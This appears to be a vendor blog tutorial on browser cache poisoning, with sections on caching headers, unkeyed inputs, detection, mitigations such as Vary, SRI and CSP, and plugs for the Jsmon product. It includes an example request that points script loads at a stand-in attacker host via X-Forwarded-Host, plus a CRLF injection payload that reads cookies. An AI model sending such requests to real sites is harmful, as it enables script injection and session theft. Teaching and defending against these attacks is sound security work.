What is Browser Cache Poisoning? Ways to Exploit, Examples and Impact

Discover how Browser Cache Poisoning works, its impact on user security, and technical ways to exploit and prevent this persistent web vulnerability.

What is Browser Cache Poisoning? Ways to Exploit, Examples and Impact

In the world of web security, caching is a double-edged sword. While it significantly improves performance by reducing latency and server load, it also introduces unique attack vectors. One of the most insidious yet overlooked threats is Browser Cache Poisoning. Unlike its more famous cousin, Web Cache Poisoning-which targets shared caches like CDNs-Browser Cache Poisoning targets the local storage of an individual user's browser. This attack can lead to persistent cross-site scripting (XSS), data theft, and long-term account compromise. In this guide, we will break down exactly how this vulnerability works, how to exploit it in a controlled environment, and how developers can defend against it.

Understanding the Basics of Caching

Before diving into the exploit, we must understand how a browser decides what to store. When you visit a website, the server sends back resources (HTML, JS, CSS, images) along with HTTP headers that dictate caching behavior. The most important headers include:

  1. Cache-Control: Specifies who can cache the response and for how long (e.g., max-age=3600).
  2. Expires: A specific timestamp after which the resource is considered stale.
  3. ETag: A unique identifier for a specific version of a resource used for validation.
  4. Vary: Tells the browser which request headers must match for a cached response to be used (e.g., Vary: User-Agent).

Browser Cache Poisoning occurs when an attacker manipulates a server into sending a malicious response that the browser then stores locally. Because the browser trusts its local cache, it will continue to serve that malicious content to the user for as long as the max-age allows, even if the user refreshes the page or navigates away and comes back.

Browser Cache Poisoning vs. Web Cache Poisoning

It is vital to distinguish between these two concepts.

Web Cache Poisoning

This targets shared caches (intermediaries) like Cloudflare, Akamai, or Varnish. If an attacker successfully poisons a web cache, every user who requests that resource will receive the malicious version. It is a "one-to-many" attack.

Browser Cache Poisoning

This is a "one-to-one" attack. The goal is to trick a specific user's browser into caching a malicious response. While the scale is smaller per successful exploit, it is often easier to achieve because many developers focus solely on securing their CDN and neglect how the local browser handles reflected inputs. Furthermore, it provides a powerful persistence mechanism for attackers who have already found a way to influence a single user's traffic (e.g., via a Man-in-the-Middle or a malicious link).

How Browser Cache Poisoning Works: The Technical Mechanism

The core of the attack lies in unkeyed inputs. A "cache key" is a set of values the browser uses to identify if a resource is already in the cache. Usually, the cache key consists of the request method and the URL.

If a server takes input from a header that is not part of the cache key (an unkeyed input) and reflects that input into a cacheable response, the browser will store the modified response.

The Step-by-Step Attack Flow

  1. Identification: The attacker identifies an unkeyed header (like X-Forwarded-Host or a custom header) that the application reflects in the response body or headers.
  2. Verification: The attacker checks if the response is cacheable by looking for Cache-Control: public and a high max-age.
  3. Poisoning: The attacker crafts a request containing a malicious payload in the unkeyed header. They then trick the victim's browser into making this request (e.g., via a cross-site request or a hidden iframe).
  4. Persistence: The victim's browser receives the malicious response and stores it. Every time the victim visits that URL, the browser executes the attacker's payload from the local cache.

Practical Example 1: Exploiting Unkeyed Headers

Imagine a web application that uses the X-Forwarded-Host header to generate absolute URLs for JavaScript imports. This is a common pattern in poorly configured frameworks.

The Normal Request

GET /home HTTP/1.1
Host: victim.com

The Normal Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=86400
Content-Type: text/html

<script src="https://victim.com/static/js/main.js"></script>

The Poisoning Request

An attacker sends a request with a malicious X-Forwarded-Host header:

GET /home HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker-controlled.com

The Poisoned Response

If the server is vulnerable, it might reflect the header like this:

HTTP/1.1 200 OK
Cache-Control: public, max-age=86400
Content-Type: text/html

<script src="https://attacker-controlled.com/static/js/main.js"></script>

Because the browser's cache key only considers the URL (/home), it sees a valid 200 OK response with a long max-age. It saves this HTML. For the next 24 hours (86,400 seconds), whenever the user visits victim.com/home, the browser will load the script from the attacker's server instead of the legitimate one. This allows the attacker to execute arbitrary JavaScript in the context of the victim's session.

Practical Example 2: Response Splitting and Header Injection

Sometimes, the poisoning doesn't happen in the body, but in the headers themselves. HTTP Response Splitting occurs when an application includes unvalidated user input in a response header. An attacker can use CRLF characters (%0d%0a) to terminate the current header and start a new one, or even start a new response entirely.

If an attacker can inject a Content-Type: text/html and a malicious body into a resource that is supposed to be an image or a CSS file, they can turn a benign resource into a vector for XSS that gets cached indefinitely.

Example Payload

GET /lang?set=en%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
Host: victim.com

If the server fails to sanitize the set parameter and reflects it in a Set-Cookie or a custom header, the browser might interpret the injected CRLF as the end of the headers, causing it to render the script. If the response is cacheable, the poisoning is complete.

The Impact of Browser Cache Poisoning

The impact of this attack is often underestimated because it is localized to a single user. However, for targeted attacks (spear-phishing), it is devastating:

  1. Persistent XSS: Standard reflected XSS requires the victim to click a link every time. A poisoned cache ensures the XSS triggers every time the user visits the site naturally.
  2. Credential Theft: By injecting malicious JavaScript, attackers can capture login credentials, session tokens, or sensitive data entered into forms.
  3. Bypassing CSRF Protections: Attackers can use the poisoned page to read CSRF tokens and perform actions on behalf of the user.
  4. Defacement and Phishing: The attacker can change the look of the site to trick the user into downloading malware or entering sensitive information into a fake form.

How to Detect Browser Cache Poisoning

Detecting this vulnerability requires a systematic approach to testing unkeyed inputs. Tools like Burp Suite, specifically the "Param Miner" extension, are invaluable here. Param Miner automatically tries thousands of header names to see if any of them influence the response in a way that doesn't change the cache key.

When testing manually, look for:

  • Headers that change the content of the page (e.g., X-Forwarded-Host, X-Original-URL, X-Rewrite-URL).
  • Responses that include Cache-Control: public or Cache-Control: max-age greater than 0.
  • The absence of the Vary header for inputs that affect the response.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon. Jsmon helps security teams keep track of their infrastructure and detect changes that could indicate misconfigurations or vulnerabilities.

Prevention and Mitigation Strategies

Securing your application against Browser Cache Poisoning involves a combination of strict header management and modern security policies.

1. Disable Caching for Sensitive or Dynamic Pages

The simplest way to prevent cache poisoning is to ensure that pages containing user-specific data or reflected inputs are never cached. Use the following header:

Cache-Control: no-store, no-cache, must-revalidate

2. Use the Vary Header Correctly

If your application must serve different content based on a header (like a language preference or a device type), you must include that header in the Vary response header. This tells the browser: "Only use this cached version if the following header in the new request matches the one from the cached request."

Vary: X-Forwarded-Host, User-Agent

3. Sanitize All Reflected Inputs

Never trust data coming from HTTP headers. Treat headers like X-Forwarded-Host with the same suspicion as a URL parameter or a form field. Use allow-lists to ensure that only expected values are processed.

4. Implement Subresource Integrity (SRI)

While SRI doesn't prevent the HTML page itself from being poisoned, it prevents attackers from poisoning external scripts. By including a cryptographic hash in your script tags, the browser will refuse to execute the script if the content doesn't match the hash.

<script src="https://example.com/js/main.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>

5. Content Security Policy (CSP)

A robust CSP can mitigate the impact of a poisoned cache. By restricting where scripts can be loaded from and disabling unsafe-inline, you can prevent an attacker's injected script from executing even if they successfully poison the cache.

Conclusion

Browser Cache Poisoning is a subtle but powerful technique that leverages the browser's own efficiency mechanisms against the user. By understanding the relationship between unkeyed inputs and HTTP caching headers, attackers can achieve long-term persistence on a victim's machine. For developers and security professionals, the lesson is clear: visibility into your infrastructure is paramount. You must know which headers your applications accept and how your caching logic handles them.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon. By automating the reconnaissance process, Jsmon ensures that you stay one step ahead of attackers who are looking for these exact types of caching misconfigurations.